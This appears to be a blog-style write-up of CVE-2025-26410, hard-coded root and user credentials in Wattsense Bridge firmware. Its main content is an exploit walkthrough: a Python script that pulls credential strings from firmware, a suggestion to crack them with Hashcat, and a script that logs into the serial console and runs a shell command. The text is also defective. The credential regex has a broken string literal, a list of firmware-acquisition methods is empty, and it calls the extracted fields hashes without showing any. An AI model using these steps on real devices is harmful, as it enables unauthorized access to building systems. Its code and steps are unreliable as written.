CVE-2025-26410 - Uncovering Hard-Coded Credentials in Wattsense Bridge Devices Firmware

In this long-read post, we will be discussing a critical vulnerability - CVE-2025-26410 - related to the firmware of Wattsense Bridge devices. These devices play a significant role in supporting IoT and smart building solutions and contain hard-coded user and root credentials. Although the default backdoor account has been removed from the firmware (BSP >= 6.4.1), prior versions are still susceptible.

This vulnerability can be exploited quite easily, allowing attackers to gain unauthorized access to the device via the login shell exposed by the serial interface. We will look into the specific details concerning this vulnerability, along with the code snippets and links to original references.

Exploit Details

In this section, we will take a closer look at the steps taken to exploit this vulnerability.

Obtaining Firmware

The first step is to acquire the firmware of a Wattsense Bridge device. One can do this through various methods, such as:

Analyzing Firmware

Once the firmware is obtained, we can proceed with analyzing its contents to find the hard-coded credentials.

# Python script to uncover hard-coded credentials in the firmware

import re

def main():
    firmware_file_path = 'path/to/firmware/file'
    with open(firmware_file_path, 'rb') as firmware_file:
        content = firmware_file.read()
        regex = re.compile(rb'\b(?:root|user):(.*?):\')
        matches = regex.findall(content)

    for match in matches:
        print(match.decode('ascii'))

if __name__ == '__main__':
    main()

Running this script will help uncover the user and root passwords within the firmware.

Password Recovery

Now that we have the hashed passwords uncovered, we can attempt to recover their plain-text equivalents through password cracking methods such as rainbow tables, dictionary attacks, or brute-force attacks. A widely used tool for this purpose is Hashcat (https://hashcat.net/hashcat/).

Device Access

With the recovered plain-text passwords, we can now try to access the device via the login shell exposed by the serial interface.

# Python script to access the device using the recovered credentials
import serial
import time

def main():
    serial_interface = 'path/to/serial/interface'
    username = 'hardcoded_username'
    password = 'recovered_password'

    ser = serial.Serial(serial_interface, 38400, timeout=1)

    # Send newline to get the login prompt
    ser.write(b'\r\n')
    time.sleep(1)
    ser.read(ser.in_waiting)

    # Send username and password
    ser.write(username.encode() + b'\r\n')
    time.sleep(1)
    ser.read(ser.in_waiting)

    ser.write(password.encode() + b'\r\n')
    time.sleep(1)
    ser.read(ser.in_waiting)

    # Issue a shell command to verify access
    cmd = 'ls'
    ser.write(cmd.encode() + b'\r\n')
    time.sleep(1)
    response = ser.read(ser.in_waiting)

    print(response.decode('ascii'))

if __name__ == '__main__':
    main()

If successful, the device's shell would be accessible to the attacker, granting them unauthorized access to critical functionality and data.

To prevent the exploitation of this vulnerability, we recommend

* Upgrading the firmware to the latest version (BSP >= 6.4.1) in which the backdoor user has been removed.

Conclusion

CVE-2025-26410 is a serious vulnerability that can lead to unauthorized access to Wattsense Bridge devices due to hard-coded credentials. By understanding the potential risks and staying updated on the latest firmware versions and security best practices, one can protect their devices from being compromised.

Original References

* Wattsense Documentation
* Paessler - Knowledge Base - Firmware Update
* Hashcat - Password Recovery Tool
* Serial Communication Library in Python (PySerial)

Timeline

Published on: 02/11/2025 10:15:09 UTC
Last modified on: 03/18/2025 19:15:50 UTC